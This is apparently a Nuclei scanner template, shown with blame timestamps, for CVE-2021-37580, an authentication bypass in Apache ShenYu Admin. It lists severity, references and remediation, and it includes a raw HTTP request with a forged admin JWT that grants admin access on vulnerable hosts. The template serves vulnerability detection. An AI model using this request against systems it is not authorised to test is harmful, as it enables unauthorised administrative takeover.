2021-11-18 20:08:23 +00:00
id : CVE-2021-37580
info :
2022-05-02 21:50:47 +00:00
name : Apache ShenYu Admin JWT - Authentication Bypass
2021-11-18 20:08:23 +00:00
author : pdteam
severity : critical
2022-05-02 21:50:47 +00:00
description : Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
2021-11-18 20:08:23 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
- https://github.com/fengwenhua/CVE-2021-37580
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
- http://www.openwall.com/lists/oss-security/2021/11/16/1
2021-11-18 20:31:47 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-11-18 20:31:47 +00:00
cve-id : CVE-2021-37580
cwe-id : CWE-287
2023-11-14 05:56:48 +00:00
epss-score : 0.91668
2023-11-20 05:10:39 +00:00
epss-percentile : 0.98629
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : shenyu
tags : cve,cve2021,apache,jwt,shenyu
2021-11-18 20:08:23 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-18 20:08:23 +00:00
- raw :
- |
GET /dashboardUser HTTP/1.1
Host : {{Hostname}}
2021-11-18 20:10:36 +00:00
X-Access-Token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
2021-11-18 20:08:23 +00:00
matchers-condition : and
matchers :
- type : word
words :
- 'query success'
- '"userName":"admin"'
- '"code":200'
condition : and
- type : status
status :
2022-05-02 21:50:47 +00:00
- 200
2023-11-20 06:35:10 +00:00
# digest: 4b0a00483046022100f8c538643988e63cd038b7a14b0e05d6246c5ff6bf3bb4d3f705561c0b1035b3022100e3ca992ee9912e01455c0f65a7119ff1e992310f3ba8c23cc8a235873c5cc65c:922c64590222798bb761d5b6d8e72950